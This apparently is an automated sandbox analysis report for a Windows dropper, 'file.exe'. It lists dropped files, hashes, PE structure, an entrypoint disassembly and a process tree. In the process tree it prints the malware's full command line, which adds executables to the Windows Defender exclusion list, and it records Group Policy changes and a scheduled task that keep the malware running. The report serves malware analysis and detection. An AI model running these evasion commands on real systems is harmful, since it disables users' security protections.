Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS7660.tmp\data\config.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	829142
Entropy (8bit):	7.999776755620295
Encrypted:	true
SSDEEP:	24576:khCiEwCogjACGlLO5Q5jmxuUw7kl/Klh0zy:khCibnCGQ6sxu6ah0+
MD5:	BD5AA50828D7B24A25BAA86F0111EFC5
SHA1:	48B315492C85E24FE13313F0340BB4FDCD3DD8C3
SHA-256:	62B68829035BDA62873B1D714D92CF0731DF9C017486B1811CD041F42B622669
SHA-512:	D95EF015A3AE028D2D4F38412C028084BC5461013A2B350BC0607B8D148836D6689A9E83AA3455B0D821F21D6DA58D2C318A0AEC72700020B01372891D5FE14E
Malicious:	false
Preview:	<H.....C+.a.Q\|#..t._..Z-/..S..[5....>-P.u..o!......9On_......Q}.K...x.e...L[....v^..02......cC2..o....7.2@...z.pBn......,....f..V....e}.n..kWT.%....K@0k.m...-.a...Yk...$G8...k./v.\|.0..z.1.0.........s.t./.re,.M.hjb..j...?.c.QC$.1..^]w..^....doS.....C_P.G...v-R.R.\|...QF...+k..........'.E4w.J....."R>.....v...Z...@..a..\|.a...`.f..@..c2...s......b..N..M~...W.,!...7.{4[....W0..x...P..)...\|]$..;3$...:R.Dy..z.d...T.V..&..<L..].b..cZ%@.(.1B.&..Y..D.cn]......^ ..R..Xw..V#.}L..X>L.)..<k...p'..#....{.S2...u{.4v?.....B..k....A..l.u.@F...f..(.X].g..B..dY.-*g..........U2-.n..Y.UH.c.....?....(..\...^...^'9..7F1A.........F....@..i7.~.mk...\|..z...5....J.."..]..9...#9...._.q.`^..Y...D>. ...7...............A.....4>.6f.F.2_.<..Y:.[..$.r...9..I......2.........K.9\|..K.!.,.......T..R..=qY.qG....WZ...w`.\.qD<..'.m....s.g..!.]J....s.q...}5.<...u...,.P..qz.IV._CM...=..o.C..c8j.=.:.v.3.l.n....Vf...t%..QeY`.j&.'1.zaF.t6CE.yV.@...#Jf.q.C..^...Q?1r.F..1.."xhr2.

C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7164928
Entropy (8bit):	7.682142396721354
Encrypted:	false
SSDEEP:	196608:/gY0lrMBM10lsqZh2D5tMTUM6B2fVj30deCT:IY6rMBXlssK5mY0dj30ECT
MD5:	C58B38377096B7C07958599E0E0C361A
SHA1:	1029B366885B51D8D758E929E8651A1B6837B65D
SHA-256:	F78888154E211E2398FDD45D36D381E411B413EF5314D8D44D59A55C40EF23BD
SHA-512:	91C732CE67A97BEB3F1357404A43CC3654AE61D49175C79EF3950258A7C4C2763CDFC063CABE722B24D8738E3042FB928FC2F9CD010070C1BD7290A4201880DE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........t............G......G......G/.................g.*.....G.....g......Rich...................PE..L......^.....................^......WI............@..........................`......3.n...@.................................4...x........J.......................O..................................pwl.@...............4............................text............................... ..`.data............[.................@....idata................l.............@..@.rsrc....J.......L....l.............@..@.reloc...O.......P....m.............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7164928
Entropy (8bit):	7.682142396721354
Encrypted:	false
SSDEEP:	196608:/gY0lrMBM10lsqZh2D5tMTUM6B2fVj30deCT:IY6rMBXlssK5mY0dj30ECT
MD5:	C58B38377096B7C07958599E0E0C361A
SHA1:	1029B366885B51D8D758E929E8651A1B6837B65D
SHA-256:	F78888154E211E2398FDD45D36D381E411B413EF5314D8D44D59A55C40EF23BD
SHA-512:	91C732CE67A97BEB3F1357404A43CC3654AE61D49175C79EF3950258A7C4C2763CDFC063CABE722B24D8738E3042FB928FC2F9CD010070C1BD7290A4201880DE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........t............G......G......G/.................g.*.....G.....g......Rich...................PE..L......^.....................^......WI............@..........................`......3.n...@.................................4...x........J.......................O..................................pwl.@...............4............................text............................... ..`.data............[.................@....idata................l.............@..@.rsrc....J.......L....l.............@..@.reloc...O.......P....m.............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_51dg5nm5.red.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjlwuhty.2rf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	12148
Entropy (8bit):	5.378102183481723
Encrypted:	false
SSDEEP:	192:2tH+avF24XpAPcVUYNj2DAsbCEBOMSVFEJ+aNK1eS9kN8rI:2teMN1UW095lSVmerI
MD5:	BECE3AD71BBF886EFC77494DF9CDF0D1
SHA1:	BFE9016195D99ACE1E873DC9B0B8A1543E7B36E7
SHA-256:	69C759DC9A5CC1C3285FE86BBAA6593205894F42057C66274560EE8CDEEE828F
SHA-512:	BB4D0F15C6C8618353AC73CAFCCF9CA34A031962C88A1319A0A8F8F1C24E90090275ECA95E4160B486908001EFF00D2DE8D20B504E0CBCFFD3282C790F2EA465
Malicious:	false
Preview:	@...e...........................................................H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.............System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.Configuration............................................T.@..>@...@.V.@.H.@.X.@.[.@.NT@.HT@..S@..S@.hT@..S@..S@..S@.\.@..T@..T@.@X@.?X@..T@..S@..S@..T@..T@.

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	4486
Entropy (8bit):	3.5451092744791444
Encrypted:	false
SSDEEP:	96:W9H9h9j9n9a9K9o92939l9S9nyJ070wY0r04020s0G0wxok:Bx
MD5:	30C693CF3EA702119A0F92E1002295B3
SHA1:	37DB400CD4BDD79E0D9872EAC50B005A3E5B3B7C
SHA-256:	19974A72A726C1378FBF1B21D7FCEA80CFD22068A70DE846AC3D13E6BE053A0E
SHA-512:	2FB7053CB469B4083BD6FB680C7FACE3A1FEAA19736D3FCF69B6B49D1E6EC553384642FFCB8EC62D88AA3896C4991663E34D87E75D24C498B759C62E05C3CEE1
Malicious:	false
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s...;.T.h.r.e.a.t.s._.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.2.5.4.5.1...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.5.6.5.9.6...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.4.2.8.7.2...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.1.4.7.7.4.9.3.7.3...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.9507895998010145
Encrypted:	false
SSDEEP:	6:1QnMzYHxbnPonn3dXsMzYHxbnn/JIAuNhUHdhJg+5Rnn3dzC:1QM0HxbnIV0Hxbn/JnumuuzC
MD5:	A62CE44A33F1C05FC2D340EA0CA118A4
SHA1:	1F03EB4716015528F3DE7F7674532C1345B2717D
SHA-256:	9F2CD4ACF23D565BC8498C989FCCCCF59FD207EF8925111DC63E78649735404A
SHA-512:	9D9A4DA2DF0550AFDB7B80BE22C6F4EF7DA5A52CC2BB4831B8FF6F30F0EE9EAC8960F61CDD7CFE0B1B6534A0F9E738F7EB8EA3839D2D92ABEB81660DE76E7732
Malicious:	true
Preview:	[General].gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}].gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}{D02B1F72-3407-48AE-BA88-E8213C6761F1}].Version=100001.

C:\Windows\Tasks\bbrwVHWbINAVAbZleQ.job

Download File

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	data
Category:	dropped
Size (bytes):	526
Entropy (8bit):	3.676691784811369
Encrypted:	false
SSDEEP:	12:O8jSX2RKQ10smIYMGmlAU9TM5KRKQ10smIYMGeUFHRQVbg:OAJ995YnURD995YJH
MD5:	2C3BBF0A2BFC0FF21774F3AFBF53BB60
SHA1:	0DBA401F0C4D277FA2BF95B39E6AB3F6102DE92A
SHA-256:	E65B43863D62718D6D5AC3400205559D1FB5A6C3D25FA9C0809290A259FE9C73
SHA-512:	D20A0652ED6C0371A686526F38AA65FA96E2CE26D74FD37C15AC27A4CA388614B5271B5F09A04851C8943FD50CF97A382D6B69EEF33E59C65D65445EDC0CFCF6
Malicious:	false
Preview:	.....D..%.@...6....F.......<... .....s...............................P.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.C.O.V.p.F.h.P.t.q.Y.P.o.U.N.u.B.L.\.z.K.Y.z.p.P.s.G.I.V.I.s.l.M.C.\.K.Z.D.O.W.c.h...e.x.e.....U.B. ./.s.i.t.e._.i.d. .5.2.5.4.0.3. ./.S...D.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.C.O.V.p.F.h.P.t.q.Y.P.o.U.N.u.B.L.\.z.K.Y.z.p.P.s.G.I.V.I.s.l.M.C.....D.E.S.K.T.O.P.-.7.1.6.T.7.7.1.\.j.o.n.e.s...................0...............................................

C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7164928
Entropy (8bit):	7.682142396721354
Encrypted:	false
SSDEEP:	196608:/gY0lrMBM10lsqZh2D5tMTUM6B2fVj30deCT:IY6rMBXlssK5mY0dj30ECT
MD5:	C58B38377096B7C07958599E0E0C361A
SHA1:	1029B366885B51D8D758E929E8651A1B6837B65D
SHA-256:	F78888154E211E2398FDD45D36D381E411B413EF5314D8D44D59A55C40EF23BD
SHA-512:	91C732CE67A97BEB3F1357404A43CC3654AE61D49175C79EF3950258A7C4C2763CDFC063CABE722B24D8738E3042FB928FC2F9CD010070C1BD7290A4201880DE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........t............G......G......G/.................g.*.....G.....g......Rich...................PE..L......^.....................^......WI............@..........................`......3.n...@.................................4...x........J.......................O..................................pwl.@...............4............................text............................... ..`.data............[.................@....idata................l.............@..@.rsrc....J.......L....l.............@..@.reloc...O.......P....m.............@..B................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_utdwgpnk.bdn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_v35xt4kd.vzs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

\Device\ConDrv

Download File

Process:	C:\Windows\System32\gpupdate.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.366220328806915
Encrypted:	false
SSDEEP:	3:gBgvKCGPE3UkEmdOO2AGN8cwwHBkEmdOO2AGN8cwow:guSFMEkErONGN83YkErONGN837
MD5:	EF6D648C3DA0518B784D661B0C0B1D3D
SHA1:	C5C5F6E4AD6C3FD8BE4313E1A7C2AF2CAA3184AD
SHA-256:	18C16D43EB823C1BC78797991D6BA2898ACA8EB2DE5FD6946BE880F7C6FBBEF5
SHA-512:	E1E0443CA2E0BAFAC7CBBFD36D917D751AC6BE2F3F16D0B67B43EEBD47D6A7C36F12423AFA95B6BF56E5AAD155675C3307EFC6E94F0808EB72EF27B093EADD67
Malicious:	false
Preview:	Updating policy.........Computer Policy update has completed successfully....User Policy update has completed successfully.......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.996937993784458
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	7607851
MD5:	4a0ace7e59a840307eafe3c5975a7638
SHA1:	5677a49aa5125af2bf2ce60dc9f304a106b462c1
SHA256:	d6c028269bdbe895a6215ed9ba31b1e1fb674d1fb1edb713c133402c0c55fabf
SHA512:	f3b4ab3e3de7b5ceeb6b1540b8dd3268425883cf5ee971d7098d44aa4c9c6d56d653e6f6995a43c41f45509f2c9aa6fd32f9a5c8b851d171899dae024714b238
SSDEEP:	196608:91OZxFEtrnpCZf7hEQukI/tbnXQCjhE7+BZ9VopW0go:3OZvElnpCVlEFljuqBZzHW
TLSH:	52763334B0E2DAB6CE8515739C549BE6D3E9E42B0F345D773BE80C394BBD9A02538A11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y...s...,...s...r.!.s.......s...x...s.......s.......s.^.u...s.Rich..s.........PE..L....S.L...........

File Icon


Icon Hash:	8484d4f2b8f47434

Static PE Info

General

Entrypoint:	0x414b04
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4CE553F7 [Thu Nov 18 16:27:35 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3786a4cf8bfee8b4821db03449141df4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 0041B9E0h
push 00414A2Ch
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 58h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
call dword ptr [0041B074h]
xor edx, edx
mov dl, ah
mov dword ptr [004233D0h], edx
mov ecx, eax
and ecx, 000000FFh
mov dword ptr [004233CCh], ecx
shl ecx, 08h
add ecx, edx
mov dword ptr [004233C8h], ecx
shr eax, 10h
mov dword ptr [004233C4h], eax
push 00000001h
call 00007F0480A2D84Bh
pop ecx
test eax, eax
jne 00007F0480A2C9BAh
push 0000001Ch
call 00007F0480A2CA78h
pop ecx
call 00007F0480A2D2FDh
test eax, eax
jne 00007F0480A2C9BAh
push 00000010h
call 00007F0480A2CA67h
pop ecx
xor esi, esi
mov dword ptr [ebp-04h], esi
call 00007F0480A2F46Ch
call dword ptr [0041B078h]
mov dword ptr [00425A3Ch], eax
call 00007F0480A2F32Ah
mov dword ptr [00423340h], eax
call 00007F0480A2F0D3h
call 00007F0480A2F015h
call 00007F0480A2EA70h
mov dword ptr [ebp-30h], esi
lea eax, dword ptr [ebp-5Ch]
push eax
call dword ptr [0041B07Ch]
call 00007F0480A2EFA6h
mov dword ptr [ebp-64h], eax
test byte ptr [ebp-30h], 00000001h
je 00007F0480A2C9B8h
movzx eax, word ptr [ebp+00h]

Rich Headers

Programming Language:

[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) SP6 build 8804
[ C ] VS2010 build 30319
[ASM] VS2010 build 30319
[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e9e4	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x27000	0xa60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x1f8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x199ea	0x19a00	False	0.5822884908536585	DOS executable (COM)	6.608494417524647	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x4494	0x4600	False	0.31166294642857145	data	4.368016436198423	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x20000	0x5a48	0x3200	False	0.122890625	data	1.370539432871311	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.sxdata	0x26000	0x4	0x200	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_LNK_INFO, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x27000	0xa60	0xc00	False	0.3388671875	data	3.3019646948427273	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x274a0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States
RT_ICON	0x27788	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States
RT_DIALOG	0x278d8	0xb8	data	English	United States
RT_STRING	0x27990	0x94	data	English	United States
RT_STRING	0x27a28	0x34	data	English	United States
RT_GROUP_ICON	0x278b0	0x22	data	English	United States
RT_VERSION	0x271e0	0x2bc	data	English	United States

Imports

DLL	Import
OLEAUT32.dll	VariantClear, SysAllocString
USER32.dll	SendMessageA, SetTimer, DialogBoxParamW, DialogBoxParamA, SetWindowLongA, GetWindowLongA, SetWindowTextW, LoadIconA, LoadStringW, LoadStringA, CharUpperW, CharUpperA, DestroyWindow, EndDialog, PostMessageA, ShowWindow, MessageBoxW, GetDlgItem, KillTimer, SetWindowTextA
SHELL32.dll	ShellExecuteExA
KERNEL32.dll	GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, InterlockedIncrement, InterlockedDecrement, GetProcAddress, GetOEMCP, GetACP, GetCPInfo, IsBadCodePtr, IsBadReadPtr, GetFileType, SetHandleCount, GetEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsW, FreeEnvironmentStringsA, UnhandledExceptionFilter, HeapSize, GetCurrentProcess, TerminateProcess, IsBadWritePtr, HeapCreate, HeapDestroy, GetEnvironmentVariableA, SetUnhandledExceptionFilter, TlsAlloc, ExitProcess, GetVersion, GetCommandLineA, GetStartupInfoA, GetModuleHandleA, WaitForSingleObject, CloseHandle, CreateProcessA, SetCurrentDirectoryA, GetCommandLineW, GetVersionExA, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, MultiByteToWideChar, WideCharToMultiByte, GetLastError, LoadLibraryA, AreFileApisANSI, GetModuleFileNameA, GetModuleFileNameW, LocalFree, FormatMessageA, FormatMessageW, GetWindowsDirectoryA, SetFileTime, CreateFileW, SetLastError, SetFileAttributesA, RemoveDirectoryA, SetFileAttributesW, RemoveDirectoryW, CreateDirectoryA, CreateDirectoryW, DeleteFileA, DeleteFileW, lstrlenA, GetFullPathNameA, GetFullPathNameW, GetCurrentDirectoryA, GetTempPathA, GetTempFileNameA, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, CreateFileA, GetFileSize, SetFilePointer, ReadFile, WriteFile, SetEndOfFile, GetStdHandle, WaitForMultipleObjects, Sleep, VirtualAlloc, VirtualFree, CreateEventA, SetEvent, ResetEvent, InitializeCriticalSection, RtlUnwind, RaiseException, HeapAlloc, HeapFree, HeapReAlloc, CreateThread, GetCurrentThreadId, TlsSetValue, TlsGetValue, ExitThread

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5188, Parent PID: 3528

General

Target ID:	0
Start time:	16:10:59
Start date:	31/12/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	7607851 bytes
MD5 hash:	4A0ACE7E59A840307EAFE3C5975A7638
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: Install.exePID: 3376, Parent PID: 5188

General

Target ID:	1
Start time:	16:11:01
Start date:	31/12/2022
Path:	C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6612583 bytes
MD5 hash:	ACF9F750C53A4655AF0F2C792DC05166
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: Install.exePID: 2772, Parent PID: 3376

General

Target ID:	2
Start time:	16:11:03
Start date:	31/12/2022
Path:	C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /S /site_id "525403"
Imagebase:	0x920000
File size:	7164928 bytes
MD5 hash:	C58B38377096B7C07958599E0E0C361A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 65%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: forfiles.exePID: 3536, Parent PID: 2772

General

Target ID:	3
Start time:	16:11:06
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
Imagebase:	0x960000
File size:	41472 bytes
MD5 hash:	4329CB18F8F74CC8DDE2C858BB80E5D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3508, Parent PID: 3536

General

Target ID:	4
Start time:	16:11:06
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
